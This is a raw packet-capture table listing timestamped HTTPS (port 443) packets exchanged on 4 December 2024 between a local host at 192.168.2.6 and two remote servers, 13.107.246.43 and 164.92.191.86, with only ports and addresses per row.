Dec 4, 2024 16:15:27.233350992 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.233374119 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.233388901 CET	49748	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.233396053 CET	443	49748	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.236115932 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.236155033 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.236241102 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.236464024 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.236476898 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.332176924 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332201004 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332220078 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332226992 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332242012 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332250118 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332379103 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.332395077 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.332473993 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.369951963 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.370027065 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.370070934 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.371299028 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.371330023 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.371340990 CET	49749	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.371345997 CET	443	49749	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.373846054 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.373893976 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.373925924 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.373933077 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.373979092 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.375181913 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.375210047 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.375277996 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.375494003 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.375500917 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.406939030 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.406997919 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.407067060 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.407288074 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.407295942 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.407316923 CET	49751	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.407320976 CET	443	49751	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.410293102 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.410348892 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.410412073 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.410574913 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:27.410587072 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:27.422075987 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.422094107 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.422178984 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.422190905 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.422224998 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.535377026 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.535434961 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.535454988 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.535492897 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.535547972 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.536220074 CET	49746	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.536226988 CET	443	49746	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.782279968 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782339096 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.782418013 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782501936 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782552958 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.782612085 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782620907 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.782625914 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782664061 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782932043 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.782943010 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.783160925 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.783169985 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:27.783507109 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:27.783515930 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:28.968331099 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:28.969017982 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:28.969060898 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:28.969528913 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:28.969533920 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.093710899 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.094798088 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.094830036 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.095324993 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.095335960 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.150437117 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.151073933 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.151110888 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.151638031 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.151644945 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.165729046 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.166179895 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.166213989 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.167303085 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.167383909 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.170084953 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.170105934 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.174932957 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.175079107 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.175184965 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.175203085 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.175339937 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.175363064 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.176317930 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.176398993 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.176563978 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.176613092 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.177041054 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.177052021 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.177443981 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.177531958 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.177973032 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.178055048 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.178165913 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.178174019 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.178329945 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.178339958 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:29.217061043 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.233091116 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.233091116 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:29.407217979 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.407288074 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.407399893 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.407599926 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.407624960 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.407635927 CET	49754	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.407641888 CET	443	49754	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.410550117 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.410603046 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.410685062 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.410890102 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.410907984 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.528856993 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.528939962 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.529006958 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.529233932 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.529258013 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.529273033 CET	49755	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.529278994 CET	443	49755	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.532284975 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.532337904 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.532418013 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.532556057 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.532572985 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.584925890 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.585016966 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.585092068 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.585302114 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.585329056 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.585342884 CET	49756	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.585349083 CET	443	49756	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.588716030 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.588779926 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:29.588876963 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.589111090 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:29.589131117 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:30.077501059 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077527046 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077543020 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077553034 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077569008 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077583075 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.077600002 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077634096 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.077675104 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.077714920 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.080025911 CET	49758	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.080049038 CET	443	49758	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259387970 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259413958 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259422064 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259458065 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259483099 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.259491920 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259514093 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.259530067 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.259569883 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.271642923 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.271708965 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.271733999 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.271763086 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.271806002 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.272475004 CET	49757	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.272494078 CET	443	49757	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.322979927 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.323035002 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.323107004 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.323323965 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.323343992 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917073011 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917097092 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917104959 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917140961 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917165041 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917174101 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917211056 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.917243958 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.917258978 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.917294979 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.954268932 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.954359055 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.954426050 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:30.954458952 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:30.954471111 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.009732962 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.095500946 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.095513105 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.095567942 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.095606089 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.095626116 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.095674992 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.095696926 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.095719099 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.128256083 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.128993988 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.129051924 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.129443884 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.129476070 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.191562891 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.191589117 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.191715002 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.191756964 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.191813946 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.243881941 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.243904114 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.243994951 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.244060993 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.244097948 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.244715929 CET	49759	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.244736910 CET	443	49759	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.251549959 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.251605034 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.251672029 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.252931118 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.252981901 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.253110886 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.253124952 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.253149033 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.253268003 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.253284931 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.266815901 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.266865969 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.266961098 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.267898083 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.267914057 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.270136118 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.274254084 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.274277925 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.274697065 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.274703979 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.316808939 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.317704916 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.317749023 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.318136930 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.318142891 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.581788063 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.581861973 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.582107067 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.582156897 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.582156897 CET	49760	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.582185984 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.582195044 CET	443	49760	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.584868908 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.584912062 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.584999084 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.585151911 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.585164070 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.711457968 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.711549997 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.711816072 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.714200020 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.714220047 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.714231968 CET	49761	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.714237928 CET	443	49761	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.717021942 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.717067003 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.717164993 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.717277050 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.717291117 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.721375942 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.721652031 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.721678972 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.722757101 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.722870111 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.723133087 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.723196983 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.723265886 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.752485991 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.752548933 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.752677917 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.753077984 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.753103018 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.753118992 CET	49762	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.753124952 CET	443	49762	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.755717039 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.755759954 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.755865097 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.756023884 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:31.756038904 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:31.767330885 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.773991108 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:31.774007082 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:31.820750952 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.241640091 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.242574930 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.242595911 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.243055105 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.243060112 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.589652061 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589680910 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589689016 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589729071 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589751005 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589772940 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.589797974 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.589863062 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.591655016 CET	49763	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.591671944 CET	443	49763	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.640077114 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.654063940 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.656369925 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.671879053 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.671936035 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.672030926 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.672091961 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.672136068 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.672143936 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.672533035 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.672637939 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.672856092 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.672926903 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.673125029 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.673193932 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.673322916 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.673342943 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.673418045 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.673811913 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.674752951 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.674832106 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.674913883 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:32.674923897 CET	443	49764	164.92.191.86	192.168.2.6
